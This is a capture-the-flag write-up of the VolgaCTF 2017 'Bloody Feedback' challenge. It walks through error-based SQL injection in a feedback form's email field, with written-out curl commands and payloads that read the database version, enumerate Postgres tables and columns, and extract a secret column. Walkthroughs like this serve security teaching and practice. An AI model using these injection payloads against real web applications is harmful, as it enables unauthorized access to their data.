Disclaimer: During this challenge, I binge watched all of Black Books. This explains the memes below.
Starting out we're presented with a feedback form to submit some data (name, email, message).
There was also an input field at the top right looking like a search box. Immediately tried putting a tick mark there to see if an error would be reflected:
This will send us to http://bloody-feedback.quals.2017.volgactf.ru/check/?code=%27.
Immediately inferring this is a perl application looking at the file extension noted in the error: Worker.pm
After playing around with the code looking for command-injection it turns out the application would accept any 32 byte string within the character range [A-Za-z0-9]. Looks like we couldn't get too far with this.
Valid URL ex.: http://bloody-feedback.quals.2017.volgactf.ru/check/?code=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The next area to check was the initial feedback form. Email had to be turned on, which seemed to be a good field to play with.
This seemed to have a very simple front-end validation setup for email, where type="email" in the markup.
Any feedback submitted is displayed in the "Top Messages" section, except the email field. This helped when testing for XSS / CSRF, SQLi, etc. But "Top Messages" did not seem to be reflecting any errors or execution.
Next we try an invalid email, maybe a quote mark to check for SQLi:
Sooooo, looks like SQLi, right?
If we look up DBD::Pg::db, we find the reference http://search.cpan.org/dist/DBD-Pg/Pg.pm
Also from looking at it, one could infer this is a Postgres db.
Let's try a few different types of injections until we get back to a non-error state!
First to get this into a scriptable state, we'll dump the cURL command from Chrome's Developer Tools. In the network tab, go to the submission request, right click > Copy > Copy as cURL.
After pasting this on the command-line, hitting ctrl+x+e we can open in $EDITOR (currently set to VIM for this session). In VIM we can use :%s/-H/-H \\\r/g to clean up the lines of the request. Now we can go ahead and delete most of the headers which won't be used in this challenge. This ends up turning into a one-liner, but for other challenges this may be different.
$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=x&message=x&email='"
This will dump the page contents and we can grep for any errors that get reflected back:
$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=',version())-- - " | grep -i error -A6
This will dump:
ERROR: DBD::Pg::db do failed: ERROR: value too long for type character varying(30) at Worker.pm line 29.
It looks like version() returns a string that's too long, so we can cut it using substr().
$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', substr(version(), 0, 30))-- - " ... <p><h3>Check status</h3><a href='/check/?code=Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI'>Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI</a></p> ...
Now let's do something a little more interesting....
To get the table names we can query pg_catalog.pg_tables for tablename, this will return multiple rows, if we set a limit and offset, we can enumerate all values.
url 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (SELECT tablename FROM pg_catalog.pg_tables limit 1 offset 1)) -- - "
So we've got the table name, now we need to find any interesting column names, we can do that by looking at column_name in information_schema.columns:
curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select column_name from information_schema.columns limit 1 offset 6 )) -- - "
Now when we combine those two together:
curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4 )) -- - "